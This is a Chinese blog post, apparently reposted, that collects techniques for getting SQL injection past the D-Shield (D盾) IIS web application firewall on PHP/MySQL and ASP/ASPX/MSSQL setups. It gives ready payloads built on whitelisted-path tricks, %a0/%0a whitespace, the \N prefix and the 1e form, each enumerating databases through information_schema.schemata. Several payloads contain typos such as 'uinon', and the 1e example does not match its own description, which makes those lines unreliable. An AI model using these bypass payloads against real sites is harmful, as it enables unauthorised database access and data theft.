Bypass之D盾IIS防火墙SQL注入防御

并非原创,标记原创只是为了涨积分,下面有原创大佬的原帖连接。

一、针对 IIS+PHP+MYSQL配置的D盾防火墙绕过

首先D盾大家在做渗透测试的时候多多少少应该都有遇到过
就长这个样子,他会在你觉得发现漏洞的时候出现。。。。总之很烦人

绕过姿势一、白名单
PHP中的PHP_INFO问题,简单来说就是  http://x.x.x.x./3.php?id=1 等价于 http://x.x.x.x/3.php/xxxx?id=1 
从白名单中随便挑个地址加在后面,可成功bypass,http://10.9.10.206/3.php/ admin.php?id=1 union select 1,2,schema_name from information_schema.schemata 这里的admin.php是白名单中的一个文件名。经原创大佬测试,GET,POST.COOKIE均有效,可以bypass

绕过姿势二、空白字符
Mysql中可以利用的空白符有:%09,%0a,%0b,%0c,%0d,%20,%a0;   经大佬测试,基本上针对Mssql的[0x01-0x20]都被处理了,但维度Mysql中还有一个 %a0可以利用,可以看打%a0与select合体,无法识别,从而绕过。
例如 :       
?id=1 union%a0select 1,2,schema_name from information_schema.schemata

绕过姿势三、\N形式
主要思考问题,如何绕过union select 以及select from ? 如果说上一个姿势是Union和select之间的位置探索,那么是否可以考虑在union前面进行检测呢?为此在参数与union的位置,经测试,发现\N可以绕过union select检测,同样的方式可以绕过select from的检测  id= \Nuinon(select 1,2,schema_name from information_schema.schemata)


二、针对IIS+ASP/ASPX+MSSQL环境

绕过姿势一、白名单
ASP:不支持,找不到路径,而且D盾进制执行带非法字符或特殊目录的脚本(/1.asp/x),彻底没戏了
/admin.php/../1.asp?id=1 and 1=1 拦截  /1.asp?b=admin.php&id=1 and 1=1拦截,可见D盾会识别到文件的位置,并不只是检测URL存在白名单那么简单了
ASPX:与PHP类似 /1.aspx/admin.php?id union select '1','2','schema_name from information_schema.schemata'   即可成功绕过bypass

绕过姿势二、空白字符
ASPX+MSSQL: %a0+%0a配合,可以绕过union select 的检测 ??id=1union%a0%0aselect '1','2','schema_name from information_schema.schemata' 

绕过姿势三、1E形式
MSSQL属于强类型,这边的绕过是有限制。 from前一位显示为数字类型,才能用 1efrom绕过 select from
只与数据库有关,与语言无关,ASP和ASPX都可以Bypass
id=1 uinon select '1','2','schema_name from information_schema.schemata' 

最后说明一下这些东西都不是我原创的,我只是总结了大佬的绕过姿势,希望更多的人能学习到
如果大家想学习更多绕过姿势,可以关注大佬的微信公众号bypass


猜你喜欢

转载自blog.csdn.net/sdb5858874/article/details/80910458
今日推荐